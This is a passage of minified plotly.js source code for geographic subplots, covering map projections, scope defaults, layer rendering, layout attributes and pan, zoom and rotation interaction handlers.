stereographic":"cylindricalStereographic",eckert1:"eckert1",eckert2:"eckert2",eckert3:"eckert3",eckert4:"eckert4",eckert5:"eckert5",eckert6:"eckert6",eisenlohr:"eisenlohr","equal earth":"equalEarth",equirectangular:"equirectangular",fahey:"fahey","foucaut sinusoidal":"foucautSinusoidal",foucaut:"foucaut",ginzburg4:"ginzburg4",ginzburg5:"ginzburg5",ginzburg6:"ginzburg6",ginzburg8:"ginzburg8",ginzburg9:"ginzburg9",gnomonic:"gnomonic","gringorten quincuncial":"gringortenQuincuncial",gringorten:"gringorten",guyou:"guyou",hammer:"hammer",hill:"hill",homolosine:"homolosine",hufnagel:"hufnagel",hyperelliptical:"hyperelliptical",kavrayskiy7:"kavrayskiy7",lagrange:"lagrange",larrivee:"larrivee",laskowski:"laskowski",loximuthal:"loximuthal",mercator:"mercator",miller:"miller",mollweide:"mollweide","mt flat polar parabolic":"mtFlatPolarParabolic","mt flat polar quartic":"mtFlatPolarQuartic","mt flat polar sinusoidal":"mtFlatPolarSinusoidal","natural earth":"naturalEarth","natural earth1":"naturalEarth1","natural earth2":"naturalEarth2","nell hammer":"nellHammer",nicolosi:"nicolosi",orthographic:"orthographic",patterson:"patterson","peirce quincuncial":"peirceQuincuncial",polyconic:"polyconic","rectangular polyconic":"rectangularPolyconic",robinson:"robinson",satellite:"satellite","sinu mollweide":"sinuMollweide",sinusoidal:"sinusoidal",stereographic:"stereographic",times:"times","transverse mercator":"transverseMercator","van der grinten":"vanDerGrinten","van der grinten2":"vanDerGrinten2","van der grinten3":"vanDerGrinten3","van der grinten4":"vanDerGrinten4",wagner4:"wagner4",wagner6:"wagner6",wiechel:"wiechel","winkel tripel":"winkel3",winkel3:"winkel3"},Z.axesNames=["lonaxis","lataxis"],Z.lonaxisSpan={orthographic:180,"azimuthal equal area":360,"azimuthal equidistant":360,"conic conformal":180,gnomonic:160,stereographic:180,"transverse mercator":180,"*":360},Z.lataxisSpan={"conic conformal":150,stereographic:179.5,"*":180},Z.scopeDefaults={world:{lonaxisRange:[-180,180],lataxisRange:[-90,90],projType:"equirectangular",projRotate:[0,0,0]},usa:{lonaxisRange:[-180,-50],lataxisRange:[15,80],projType:"albers usa"},europe:{lonaxisRange:[-30,60],lataxisRange:[30,85],projType:"conic conformal",projRotate:[15,0,0],projParallels:[0,60]},asia:{lonaxisRange:[22,160],lataxisRange:[-15,55],projType:"mercator",projRotate:[0,0,0]},africa:{lonaxisRange:[-30,60],lataxisRange:[-40,40],projType:"mercator",projRotate:[0,0,0]},"north america":{lonaxisRange:[-180,-45],lataxisRange:[5,85],projType:"conic conformal",projRotate:[-100,0,0],projParallels:[29.5,45.5]},"south america":{lonaxisRange:[-100,-30],lataxisRange:[-60,15],projType:"mercator",projRotate:[0,0,0]}},Z.clipPad=.001,Z.precision=.1,Z.landColor="#F0DC82",Z.waterColor="#3399FF",Z.locationmodeToLayer={"ISO-3":"countries","USA-states":"subunits","country names":"countries"},Z.sphereSVG={type:"Sphere"},Z.fillLayers={ocean:1,land:1,lakes:1},Z.lineLayers={subunits:1,countries:1,coastlines:1,rivers:1,frame:1},Z.layers=["bg","ocean","land","lakes","subunits","countries","coastlines","rivers","lataxis","lonaxis","frame","backplot","frontplot"],Z.layersForChoropleth=["bg","ocean","land","subunits","countries","coastlines","lataxis","lonaxis","frame","backplot","rivers","lakes","frontplot"],Z.layerNameToAdjective={ocean:"ocean",land:"land",lakes:"lake",subunits:"subunit",countries:"country",coastlines:"coastline",rivers:"river",frame:"frame"}},69082:function(te,Z,e){var M=e(39898),P=e(27362),o=P.geoPath,L=P.geoDistance,S=e(65704),d=e(73972),g=e(71828),t=g.strTranslate,r=e(7901),f=e(91424),a=e(30211),l=e(74875),u=e(89298),s=e(71739).getAutoRange,y=e(28569),c=e(47322).prepSelect,b=e(47322).clearOutline,h=e(47322).selectOnClick,i=e(74455),v=e(78776),T=e(41327),w=e(90973),E=e(96892).zL;function p(x){this.id=x.id,this.graphDiv=x.graphDiv,this.container=x.container,this.topojsonURL=x.topojsonURL,this.isStatic=x.staticPlot,this.topojsonName=null,this.topojson=null,this.projection=null,this.scope=null,this.viewInitial=null,this.fitScale=null,this.bounds=null,this.midPt=null,this.hasChoropleth=!1,this.traceHash={},this.layers={},this.basePaths={},this.dataPaths={},this.dataPoints={},this.clipDef=null,this.clipRect=null,this.bgRect=null,this.makeFramework()}var A=p.prototype;te.exports=function(I){return new p(I)},A.plot=function(x,I,k,B){var _=this;if(B)return _.update(x,I,!0);_._geoCalcData=x,_._fullLayout=I;var F=I[this.id],O=[],z=!1;for(var N in v.layerNameToAdjective)if(N!=="frame"&&F["show"+N]){z=!0;break}for(var G=!1,J=0;J<x.length;J++){var q=x[0][0].trace;q._geo=_,q.locationmode&&(z=!0);var ne=q.marker;if(ne){var fe=ne.angle,X=ne.angleref;(fe||X==="north"||X==="previous")&&(G=!0)}}if(this._hasMarkerAngles=G,z){var W=w.getTopojsonName(F);(_.topojson===null||W!==_.topojsonName)&&(_.topojsonName=W,PlotlyGeoAssets.topojson[_.topojsonName]===void 0&&O.push(_.fetchTopojson()))}O=O.concat(T.fetchTraceGeoData(x)),k.push(new Promise(function(V,Y){Promise.all(O).then(function(){_.topojson=PlotlyGeoAssets.topojson[_.topojsonName],_.update(x,I),V()}).catch(Y)}))},A.fetchTopojson=function(){var x=this,I=w.getTopojsonPath(x.topojsonURL,x.topojsonName);return new Promise(function(k,B){M.json(I,function(_,F){if(_)return _.status===404?B(new Error(["plotly.js could not find topojson file at",I+".","Make sure the *topojsonURL* plot config option","is set properly."].join(" "))):B(new Error(["unexpected error while fetching topojson file at",I].join(" ")));PlotlyGeoAssets.topojson[x.topojsonName]=F,k()})})},A.update=function(x,I,k){var B=I[this.id];this.hasChoropleth=!1;for(var _=0;_<x.length;_++){var F=x[_],O=F[0].trace;O.type==="choropleth"&&(this.hasChoropleth=!0),O.visible===!0&&O._length>0&&O._module.calcGeoJSON(F,I)}if(!k){var z=this.updateProjection(x,I);if(z)return;(!this.viewInitial||this.scope!==B.scope)&&this.saveViewInitial(B)}this.scope=B.scope,this.updateBaseLayers(I,B),this.updateDims(I,B),this.updateFx(I,B),l.generalUpdatePerTraceModule(this.graphDiv,this,x,B);var N=this.layers.frontplot.select(".scatterlayer");this.dataPoints.point=N.selectAll(".point"),this.dataPoints.text=N.selectAll("text"),this.dataPaths.line=N.selectAll(".js-line");var G=this.layers.backplot.select(".choroplethlayer");this.dataPaths.choropleth=G.selectAll("path"),this._render()},A.updateProjection=function(x,I){var k=this.graphDiv,B=I[this.id],_=I._size,F=B.domain,O=B.projection,z=B.lonaxis,N=B.lataxis,G=z._ax,J=N._ax,q=this.projection=m(B),ne=[[_.l+_.w*F.x[0],_.t+_.h*(1-F.y[1])],[_.l+_.w*F.x[1],_.t+_.h*(1-F.y[0])]],fe=B.center||{},X=O.rotation||{},W=z.range||[],V=N.range||[];if(B.fitbounds){G._length=ne[1][0]-ne[0][0],J._length=ne[1][1]-ne[0][1],G.range=s(k,G),J.range=s(k,J);var Y=(G.range[0]+G.range[1])/2,Q=(J.range[0]+J.range[1])/2;if(B._isScoped)fe={lon:Y,lat:Q};else if(B._isClipped){fe={lon:Y,lat:Q},X={lon:Y,lat:Q,roll:X.roll};var ie=O.type,j=v.lonaxisSpan[ie]/2||180,K=v.lataxisSpan[ie]/2||90;W=[Y-j,Y+j],V=[Q-K,Q+K]}else fe={lon:Y,lat:Q},X={lon:Y,lat:X.lat,roll:X.roll}}q.center([fe.lon-X.lon,fe.lat-X.lat]).rotate([-X.lon,-X.lat,X.roll]).parallels(O.parallels);var oe=C(W,V);q.fitExtent(ne,oe);var re=this.bounds=q.getBounds(oe),le=this.fitScale=q.scale(),pe=q.translate();if(B.fitbounds){var we=q.getBounds(C(G.range,J.range)),xe=Math.min((re[1][0]-re[0][0])/(we[1][0]-we[0][0]),(re[1][1]-re[0][1])/(we[1][1]-we[0][1]));isFinite(xe)?q.scale(xe*le):g.warn("Something went wrong during"+this.id+"fitbounds computations.")}else q.scale(O.scale*le);var ke=this.midPt=[(re[0][0]+re[1][0])/2,(re[0][1]+re[1][1])/2];if(q.translate([pe[0]+(ke[0]-pe[0]),pe[1]+(ke[1]-pe[1])]).clipExtent(re),B._isAlbersUsa){var _e=q([fe.lon,fe.lat]),be=q.translate();q.translate([be[0]-(_e[0]-be[0]),be[1]-(_e[1]-be[1])])}},A.updateBaseLayers=function(x,I){var k=this,B=k.topojson,_=k.layers,F=k.basePaths;function O(ne){return ne==="lonaxis"||ne==="lataxis"}function z(ne){return!!v.lineLayers[ne]}function N(ne){return!!v.fillLayers[ne]}var G=this.hasChoropleth?v.layersForChoropleth:v.layers,J=G.filter(function(ne){return z(ne)||N(ne)?I["show"+ne]:O(ne)?I[ne].showgrid:!0}),q=k.framework.selectAll(".layer").data(J,String);q.exit().each(function(ne){delete _[ne],delete F[ne],M.select(this).remove()}),q.enter().append("g").attr("class",function(ne){return"layer "+ne}).each(function(ne){var fe=_[ne]=M.select(this);ne==="bg"?k.bgRect=fe.append("rect").style("pointer-events","all"):O(ne)?F[ne]=fe.append("path").style("fill","none"):ne==="backplot"?fe.append("g").classed("choroplethlayer",!0):ne==="frontplot"?fe.append("g").classed("scatterlayer",!0):z(ne)?F[ne]=fe.append("path").style("fill","none").style("stroke-miterlimit",2):N(ne)&&(F[ne]=fe.append("path").style("stroke","none"))}),q.order(),q.each(function(ne){var fe=F[ne],X=v.layerNameToAdjective[ne];ne==="frame"?fe.datum(v.sphereSVG):z(ne)||N(ne)?fe.datum(E(B,B.objects[ne])):O(ne)&&fe.datum(n(ne,I,x)).call(r.stroke,I[ne].gridcolor).call(f.dashLine,I[ne].griddash,I[ne].gridwidth),z(ne)?fe.call(r.stroke,I[X+"color"]).call(f.dashLine,"",I[X+"width"]):N(ne)&&fe.call(r.fill,I[X+"color"])})},A.updateDims=function(x,I){var k=this.bounds,B=(I.framewidth||0)/2,_=k[0][0]-B,F=k[0][1]-B,O=k[1][0]-_+B,z=k[1][1]-F+B;f.setRect(this.clipRect,_,F,O,z),this.bgRect.call(f.setRect,_,F,O,z).call(r.fill,I.bgcolor),this.xaxis._offset=_,this.xaxis._length=O,this.yaxis._offset=F,this.yaxis._length=z},A.updateFx=function(x,I){var k=this,B=k.graphDiv,_=k.bgRect,F=x.dragmode,O=x.clickmode;if(k.isStatic)return;function z(){var q=k.viewInitial,ne={};for(var fe in q)ne[k.id+"."+fe]=q[fe];d.call("_guiRelayout",B,ne),B.emit("plotly_doubleclick",null)}function N(q){return k.projection.invert([q[0]+k.xaxis._offset,q[1]+k.yaxis._offset])}var G=function(q,ne){if(ne.isRect){var fe=q.range={};fe[k.id]=[N([ne.xmin,ne.ymin]),N([ne.xmax,ne.ymax])]}else{var X=q.lassoPoints={};X[k.id]=ne.map(N)}},J={element:k.bgRect.node(),gd:B,plotinfo:{id:k.id,xaxis:k.xaxis,yaxis:k.yaxis,fillRangeItems:G},xaxes:[k.xaxis],yaxes:[k.yaxis],subplot:k.id,clickFn:function(q){q===2&&b(B)}};F==="pan"?(_.node().onmousedown=null,_.call(i(k,I)),_.on("dblclick.zoom",z),B._context._scrollZoom.geo||_.on("wheel.zoom",null)):(F==="select"||F==="lasso")&&(_.on(".zoom",null),J.prepFn=function(q,ne,fe){c(q,ne,fe,J,F)},y.init(J)),_.on("mousemove",function(){var q=k.projection.invert(g.getPositionFromD3Event());if(!q)return y.unhover(B,M.event);k.xaxis.p2c=function(){return q[0]},k.yaxis.p2c=function(){return q[1]},a.hover(B,M.event,k.id)}),_.on("mouseout",function(){B._dragging||y.unhover(B,M.event)}),_.on("click",function(){F!=="select"&&F!=="lasso"&&(O.indexOf("select")>-1&&h(M.event,B,[k.xaxis],[k.yaxis],k.id,J),O.indexOf("event")>-1&&a.click(B,M.event))})},A.makeFramework=function(){var x=this,I=x.graphDiv,k=I._fullLayout,B="clip"+k._uid+x.id;x.clipDef=k._clips.append("clipPath").attr("id",B),x.clipRect=x.clipDef.append("rect"),x.framework=M.select(x.container).append("g").attr("class","geo "+x.id).call(f.setClipUrl,B,I),x.project=function(_){var F=x.projection(_);return F?[F[0]-x.xaxis._offset,F[1]-x.yaxis._offset]:[null,null]},x.xaxis={_id:"x",c2p:function(_){return x.project(_)[0]}},x.yaxis={_id:"y",c2p:function(_){return x.project(_)[1]}},x.mockAxis={type:"linear",showexponent:"all",exponentformat:"B"},u.setConvert(x.mockAxis,k)},A.saveViewInitial=function(x){var I=x.center||{},k=x.projection,B=k.rotation||{};this.viewInitial={fitbounds:x.fitbounds,"projection.scale":k.scale};var _;x._isScoped?_={"center.lon":I.lon,"center.lat":I.lat}:x._isClipped?_={"projection.rotation.lon":B.lon,"projection.rotation.lat":B.lat}:_={"center.lon":I.lon,"center.lat":I.lat,"projection.rotation.lon":B.lon},g.extendFlat(this.viewInitial,_)},A.render=function(x){this._hasMarkerAngles&&x?this.plot(this._geoCalcData,this._fullLayout,[],!0):this._render()},A._render=function(){var x=this.projection,I=x.getPath(),k;function B(F){var O=x(F.lonlat);return O?t(O[0],O[1]):null}function _(F){return x.isLonLatOverEdges(F.lonlat)?"none":null}for(k in this.basePaths)this.basePaths[k].attr("d",I);for(k in this.dataPaths)this.dataPaths[k].attr("d",function(F){return I(F.geojson)});for(k in this.dataPoints)this.dataPoints[k].attr("display",_).attr("transform",B)};function m(x){var I=x.projection,k=I.type,B=v.projNames[k];B="geo"+g.titleCase(B);for(var _=P[B]||S[B],F=_(),O=x._isSatellite?Math.acos(1/I.distance)*180/Math.PI:x._isClipped?v.lonaxisSpan[k]/2:null,z=["center","rotate","parallels","clipExtent"],N=function(q){return q?F:[]},G=0;G<z.length;G++){var J=z[G];typeof F[J]!="function"&&(F[J]=N)}return F.isLonLatOverEdges=function(q){if(F(q)===null)return!0;if(O){var ne=F.rotate(),fe=L(q,[-ne[0],-ne[1]]),X=O*Math.PI/180;return fe>X}else return!1},F.getPath=function(){return o().projection(F)},F.getBounds=function(q){return F.getPath().bounds(q)},F.precision(v.precision),x._isSatellite&&F.tilt(I.tilt).distance(I.distance),O&&F.clipAngle(O-v.clipPad),F}function n(x,I,k){var B=1e-6,_=2.5,F=I[x],O=v.scopeDefaults[I.scope],z,N,G;x==="lonaxis"?(z=O.lonaxisRange,N=O.lataxisRange,G=function(Q,ie){return[Q,ie]}):x==="lataxis"&&(z=O.lataxisRange,N=O.lonaxisRange,G=function(Q,ie){return[ie,Q]});var J={type:"linear",range:[z[0],z[1]-B],tick0:F.tick0,dtick:F.dtick};u.setConvert(J,k);var q=u.calcTicks(J);!I.isScoped&&x==="lonaxis"&&q.pop();for(var ne=q.length,fe=new Array(ne),X=0;X<ne;X++)for(var W=q[X].x,V=fe[X]=[],Y=N[0];Y<N[1]+_;Y+=_)V.push(G(W,Y));return{type:"MultiLineString",coordinates:fe}}function C(x,I){var k=v.clipPad,B=x[0]+k,_=x[1]-k,F=I[0]+k,O=I[1]-k;B>0&&_<0&&(_+=360);var z=(_-B)/4;return{type:"Polygon",coordinates:[[[B,F],[B,O],[B+z,O],[B+2*z,O],[B+3*z,O],[_,O],[_,F],[_-z,F],[_-2*z,F],[_-3*z,F],[B,F]]]}}},44622:function(te,Z,e){var M=e(27659).AU,P=e(71828).counterRegex,o=e(69082),L="geo",S=P(L),d={};d[L]={valType:"subplotid",dflt:L,editType:"calc"};function g(f){for(var a=f._fullLayout,l=f.calcdata,u=a._subplots[L],s=0;s<u.length;s++){var y=u[s],c=M(l,L,y),b=a[y],h=b._subplot;h||(h=o({id:y,graphDiv:f,container:a._geolayer.node(),topojsonURL:f._context.topojsonURL,staticPlot:f._context.staticPlot}),a[y]._subplot=h),h.plot(c,a,f._promises)}}function t(f,a,l,u){for(var s=u._subplots[L]||[],y=0;y<s.length;y++){var c=s[y],b=u[c]._subplot;!a[c]&&b&&(b.framework.remove(),b.clipDef.remove())}}function r(f){for(var a=f._fullLayout,l=a._subplots[L],u=0;u<l.length;u++){var s=a[l[u]],y=s._subplot;y.updateFx(a,s)}}te.exports={attr:L,name:L,idRoot:L,idRegex:S,attrRegex:S,attributes:d,layoutAttributes:e(77519),supplyLayoutDefaults:e(82161),plot:g,updateFx:r,clean:t}},77519:function(te,Z,e){var M=e(22399),P=e(27670).Y,o=e(79952).P,L=e(78776),S=e(30962).overrideAll,d=e(78607),g={range:{valType:"info_array",items:[{valType:"number"},{valType:"number"}]},showgrid:{valType:"boolean",dflt:!1},tick0:{valType:"number",dflt:0},dtick:{valType:"number"},gridcolor:{valType:"color",dflt:M.lightLine},gridwidth:{valType:"number",min:0,dflt:1},griddash:o},t=te.exports=S({domain:P({name:"geo"},{}),fitbounds:{valType:"enumerated",values:[!1,"locations","geojson"],dflt:!1,editType:"plot"},resolution:{valType:"enumerated",values:[110,50],dflt:110,coerceNumber:!0},scope:{valType:"enumerated",values:d(L.scopeDefaults),dflt:"world"},projection:{type:{valType:"enumerated",values:d(L.projNames)},rotation:{lon:{valType:"number"},lat:{valType:"number"},roll:{valType:"number"}},tilt:{valType:"number",dflt:0},distance:{valType:"number",min:1.001,dflt:2},parallels:{valType:"info_array",items:[{valType:"number"},{valType:"number"}]},scale:{valType:"number",min:0,dflt:1}},center:{lon:{valType:"number"},lat:{valType:"number"}},visible:{valType:"boolean",dflt:!0},showcoastlines:{valType:"boolean"},coastlinecolor:{valType:"color",dflt:M.defaultLine},coastlinewidth:{valType:"number",min:0,dflt:1},showland:{valType:"boolean",dflt:!1},landcolor:{valType:"color",dflt:L.landColor},showocean:{valType:"boolean",dflt:!1},oceancolor:{valType:"color",dflt:L.waterColor},showlakes:{valType:"boolean",dflt:!1},lakecolor:{valType:"color",dflt:L.waterColor},showrivers:{valType:"boolean",dflt:!1},rivercolor:{valType:"color",dflt:L.waterColor},riverwidth:{valType:"number",min:0,dflt:1},showcountries:{valType:"boolean"},countrycolor:{valType:"color",dflt:M.defaultLine},countrywidth:{valType:"number",min:0,dflt:1},showsubunits:{valType:"boolean"},subunitcolor:{valType:"color",dflt:M.defaultLine},subunitwidth:{valType:"number",min:0,dflt:1},showframe:{valType:"boolean"},framecolor:{valType:"color",dflt:M.defaultLine},framewidth:{valType:"number",min:0,dflt:1},bgcolor:{valType:"color",dflt:M.background},lonaxis:g,lataxis:g},"plot","from-root");t.uirevision={valType:"any",editType:"none"}},82161:function(te,Z,e){var M=e(71828),P=e(49119),o=e(27659).NG,L=e(78776),S=e(77519),d=L.axesNames;te.exports=function(r,f,a){P(r,f,a,{type:"geo",attributes:S,handleDefaults:g,fullData:a,partition:"y"})};function g(t,r,f,a){var l=o(a.fullData,"geo",a.id),u=l.map(function(V){return V._expandedIndex}),s=f("resolution"),y=f("scope"),c=L.scopeDefaults[y],b=f("projection.type",c.projType),h=r._isAlbersUsa=b==="albers usa";h&&(y=r.scope="usa");var i=r._isScoped=y!=="world",v=r._isSatellite=b==="satellite",T=r._isConic=b.indexOf("conic")!==-1||b==="albers",w=r._isClipped=!!L.lonaxisSpan[b];if(t.visible===!1){var E=M.extendDeep({},r._template);E.showcoastlines=!1,E.showcountries=!1,E.showframe=!1,E.showlakes=!1,E.showland=!1,E.showocean=!1,E.showrivers=!1,E.showsubunits=!1,E.lonaxis&&(E.lonaxis.showgrid=!1),E.lataxis&&(E.lataxis.showgrid=!1),r._template=E}for(var p=f("visible"),A,m=0;m<d.length;m++){var n=d[m],C=[30,10][m],x;if(i)x=c[n+"Range"];else{var I=L[n+"Span"],k=(I[b]||I["*"])/2,B=f("projection.rotation."+n.substr(0,3),c.projRotate[m]);x=[B-k,B+k]}var _=f(n+".range",x);f(n+".tick0"),f(n+".dtick",C),A=f(n+".showgrid",p?void 0:!1),A&&(f(n+".gridcolor"),f(n+".gridwidth"),f(n+".griddash")),r[n]._ax={type:"linear",_id:n.slice(0,3),_traceIndices:u,setScale:M.identity,c2l:M.identity,r2l:M.identity,autorange:!0,range:_.slice(),_m:1,_input:{}}}var F=r.lonaxis.range,O=r.lataxis.range,z=F[0],N=F[1];z>0&&N<0&&(N+=360);var G=(z+N)/2,J;if(!h){var q=i?c.projRotate:[G,0,0];J=f("projection.rotation.lon",q[0]),f("projection.rotation.lat",q[1]),f("projection.rotation.roll",q[2]),A=f("showcoastlines",!i&&p),A&&(f("coastlinecolor"),f("coastlinewidth")),A=f("showocean",p?void 0:!1),A&&f("oceancolor")}var ne,fe;if(h?(ne=-96.6,fe=38.7):(ne=i?G:J,fe=(O[0]+O[1])/2),f("center.lon",ne),f("center.lat",fe),v&&(f("projection.tilt"),f("projection.distance")),T){var X=c.projParallels||[0,60];f("projection.parallels",X)}f("projection.scale"),A=f("showland",p?void 0:!1),A&&f("landcolor"),A=f("showlakes",p?void 0:!1),A&&f("lakecolor"),A=f("showrivers",p?void 0:!1),A&&(f("rivercolor"),f("riverwidth")),A=f("showcountries",i&&y!=="usa"&&p),A&&(f("countrycolor"),f("countrywidth")),(y==="usa"||y==="north america"&&s===50)&&(f("showsubunits",p),f("subunitcolor"),f("subunitwidth")),i||(A=f("showframe",p),A&&(f("framecolor"),f("framewidth"))),f("bgcolor");var W=f("fitbounds");W&&(delete r.projection.scale,i?(delete r.center.lon,delete r.center.lat):w?(delete r.center.lon,delete r.center.lat,delete r.projection.rotation.lon,delete r.projection.rotation.lat,delete r.lonaxis.range,delete r.lataxis.range):(delete r.center.lon,delete r.center.lat,delete r.projection.rotation.lon))}},74455:function(te,Z,e){var M=e(39898),P=e(71828),o=e(73972),L=Math.PI/180,S=180/Math.PI,d={cursor:"pointer"},g={cursor:"auto"};function t(n,C){var x=n.projection,I;return C._isScoped?I=a:C._isClipped?I=u:I=l,I(n,x)}te.exports=t;function r(n,C){return M.behavior.zoom().translate(C.translate()).scale(C.scale())}function f(n,C,x){var I=n.id,k=n.graphDiv,B=k.layout,_=B[I],F=k._fullLayout,O=F[I],z={},N={};function G(J,q){z[I+"."+J]=P.nestedProperty(_,J).get(),o.call("_storeDirectGUIEdit",B,F._preGUI,z);var ne=P.nestedProperty(O,J);ne.get()!==q&&(ne.set(q),P.nestedProperty(_,J).set(q),N[I+"."+J]=q)}x(G),G("projection.scale",C.scale()/n.fitScale),G("fitbounds",!1),k.emit("plotly_relayout",N)}function a(n,C){var x=r(n,C);function I(){M.select(this).style(d)}function k(){C.scale(M.event.scale).translate(M.event.translate),n.render(!0);var F=C.invert(n.midPt);n.graphDiv.emit("plotly_relayouting",{"geo.projection.scale":C.scale()/n.fitScale,"geo.center.lon":F[0],"geo.center.lat":F[1]})}function B(F){var O=C.invert(n.midPt);F("center.lon",O[0]),F("center.lat",O[1])}function _(){M.select(this).style(g),f(n,C,B)}return x.on("zoomstart",I).on("zoom",k).on("zoomend",_),x}function l(n,C){var x=r(n,C),I=2,k,B,_,F,O,z,N,G,J;function q(Y){return C.invert(Y)}function ne(Y){var Q=q(Y);if(!Q)return!0;var ie=C(Q);return Math.abs(ie[0]-Y[0])>I||Math.abs(ie[1]-Y[1])>I}function fe(){M.select(this).style(d),k=M.mouse(this),B=C.rotate(),_=C.translate(),F=B,O=q(k)}function X(){if(z=M.mouse(this),ne(k)){x.scale(C.scale()),x.translate(C.translate());return}C.scale(M.event.scale),C.translate([_[0],M.event.translate[1]]),O?q(z)&&(G=q(z),N=[F[0]+(G[0]-O[0]),B[1],B[2]],C.rotate(N),F=N):(k=z,O=q(k)),J=!0,n.render(!0);var Y=C.rotate(),Q=C.invert(n.midPt);n.graphDiv.emit("plotly_relayouting",{"geo.projection.scale":C.scale()/n.fitScale,"geo.center.lon":Q[0],"geo.center.lat":Q[1],"geo.projection.rotation.lon":-Y[0]})}function W(){M.select(this).style(g),J&&f(n,C,V)}function V(Y){var Q=C.rotate(),ie=C.invert(n.midPt);Y("projection.rotation.lon",-Q[0]),Y("center.lon",ie[0]),Y("center.lat",ie[1])}return x.on("zoomstart",fe).on("zoom",X).on("zoomend",W),x}function u(n,C){C.rotate(),C.scale();var x=r(n,C),I=m(x,"zoomstart","zoom","zoomend"),k=0,B=x.on,_;x.on("zoomstart",function(){M.select(this).style(d);var G=M.mouse(this),J=C.rotate(),q=J,ne=C.translate(),fe=y(J);_=s(C,G),B.call(x,"zoom",function(){var X=M.mouse(this);if(C.scale(M.event.scale),!_)G=X,_=s(C,G);else if(s(C,X)){C.rotate(J).translate(ne);var W=s(C,X),V=b(_,W),Y=w(c(fe,V)),Q=h(Y,_,q);(!isFinite(Q[0])||!isFinite(Q[1])||!isFinite(Q[2]))&&(Q=q),C.rotate(Q),q=Q}O(I.of(this,arguments))}),F(I.of(this,arguments))}).on("zoomend",function(){M.select(this).style(g),B.call(x,"zoom",null),z(I.of(this,arguments)),f(n,C,N)}).on("zoom.redraw",function(){n.render(!0);var G=C.rotate();n.graphDiv.emit("plotly_relayouting",{"geo.projection.scale":C.scale()/n.fitScale,"geo.projection.rotation.lon":-G[0],"geo.projection.rotation.lat":-G[1]})});function F(G){k++||G({type:"zoomstart"})}function O(G){G({type:"zoom"})}function z(G){--k||G({type:"zoomend"})}function N(G){var J=C.rotate();G("projection.rotation.lon",-J[0]),G("projection.rotation.lat",-J[1])}return M.rebind(x,I,"on")}function s(n,C){var x=n.invert(C);return x&&isFinite(x[0])&&isFinite(x[1])&&E(x)}function y(n){var C=.5*n[0]*L,x=.5*n[1]*L,I=.5*n[2]*L,k=Math.sin(C),B=Math.cos(C),_=Math.sin(x),F=Math.cos(x),O=Math.sin(I),z=Math.cos(I);return[B*F*z+k*_*O,k*F*z-B*_*O,B*_*z+k*F*O,B*F*O-k*_*z]}function c(n,C){var x=n[0],I=n[1],k=n[2],B=n[3],_=C[0],F=C[1],O=C[2],z=C[3];return[x*_-I*F-k*O-B*z,x*F+I*_+k*z-B*O,x*O-I*z+k*_+B*F,x*z+I*O-k*F+B*_]}function b(n,C){if(!(!n||!C)){var x=A(n,C),I=Math.sqrt(p(x,x)),k=.5*Math.acos(Math.max(-1,Math.min(1,p(n,C)))),B=Math.sin(k)/I;return I&&[Math.cos(k),x[2]*B,-x[1]*B,x[0]*B]}}function h(n,C,x){var I=T(C,2,n[0]);I=T(I,1,n[1]),I=T(I,0,n[2]-x[2]);var k=C[0],B=C[1],_=C[2],F=I[0],O=I[1],z=I[2],N=Math.atan2(B,k)*S,G=Math.sqrt(k*k+B*B),J,q;Math.abs(O)>G?(q=(O>0?90:-90)-N,J=0):(q=Math.asin(O/G)*S-N,J=Math.sqrt(G*G-O*O));var ne=180-q-2*N,fe=(Math.atan2(z,F)-Math.atan2(_,J))*S,X=(Math.atan2(z,F)-Math.atan2(_,-J))*S,W=i(x[0],x[1],q,fe),V=i(x[0],x[1],ne,X);return W<=V?[q,fe,x[2]]:[ne,X,x[2]]}function i(n,C,x,I){var k=v(x-n),B=v(I-C);return Math.sqrt(k*k+B*B)}function v(n){return(n%360+540)%360-180}function T(n,C,x){var I=x*L,k=n.slice(),B=C===0?1:0,_=C===2?1:2,F=Math.cos(I),O=Math.sin(I);return k[B]=n[B]*F-n[_]*O,k[_]=n[_]*F+n[B]*O,k}function w(n){return[Math.atan2(2*(n[0]*n[1]+n[2]*n[3]),1-2*(n[1]*n[1]+n[2]*n[2]))*S,Math.asin(Math.max(-1,Math.min(1,2*(n[0]*n[2]-n[3]*n[1]))))*S,Math.atan2(2*(n[0]*n[3]+n[1]*n[2]),1-2*(n[2]*n[2]+n[3]*n[3]))*S]}function E(n){var C=n[0]*L,x=n[1]*L,I=Math.cos(x);return[I*Math.cos(C),I*Math.sin(C),Math.sin(x)]}function p(n,C){for(var x=0,I=0,k=n.length;I<k;++I)x+=n[I]*C[I];return x}function A(n,C){return[n[1]*C[2]-n[2]*C[1],n[2]*C[0]-n[0]*C[2],n[0]*C[1]-n[1]*C[0]]}function m(n){for(var C=0,x=arguments.length,I=[];++C<x;)I.push(arguments[C]);var k=M.dispatch.apply(null,I);return k.of=function(B,_){return function(F){var O;try{O=F.sourceEvent=M.event,F.target=n,M.event=F,k[F.type].apply(B,_)}finally{M.event=O}}},k}},27659:function(te,Z,e){var M=e(73972),P=e(85555).SUBPLOT_PATTERN;Z.AU=function(o,L,S){var d=M.subplotsRegistry[L];if(!d)return[];for(var g=d.attr,t=[],r=0;r<o.length;r++){var f=o[r],a=f[0].trace;a[g]===S&&t.push(f)}return t},Z.a0=function(o,L){var S=[],d=[],g;if(typeof L=="string"?g=M.getModule(L).plot:typeof L=="function"?g=L:g=L.plot,!g)return[S,o];for(var t=0;t<o.length;t++){var r=o[t],f=r[0].trace;f.visible!==!0||f._length===0||(f._module&&f._module.plot===g?S.push(r):d.push(r))}return[S,d]},Z.NG=function(L,S,d){if(!M.subplotsRegistry[S])return[];var g=M.subplotsRegistry[S].attr,t=[],r,f,a;if(S==="gl2d"){var l=d.match(P);f="x"+l[1],a="y"+l[2]}for(var u=0;u<L.length;u++)r=L[u],S==="gl2d"&&M.traceIs(r,"gl2d")?r[g[0]]===f&&r[g[1]]===a&&t.push(r):r[g]===d&&t.push(r);return t}},75071:function(te,Z,e){var M=e(16825),P=e(1195),o=e(48956),L=e(85555),S=e(38520);te.exports=g;function d(t,r){this.element=t,this.plot=r,this.mouseListener=null,this.wheelListener=null,this.lastInputTime=Date.now(),this.lastPos=[0,0],this.boxEnabled=!1,this.boxInited=!1,this.boxStart=[0,0],this.boxEnd=[0,0],this.dragStart=[0,0]}function g(t){var r=t.mouseContainer,f=t.glplot,a=new d(r,f);function l(){t.xaxis.autorange=!1,t.yaxis.autorange=!1}function u(){for(var 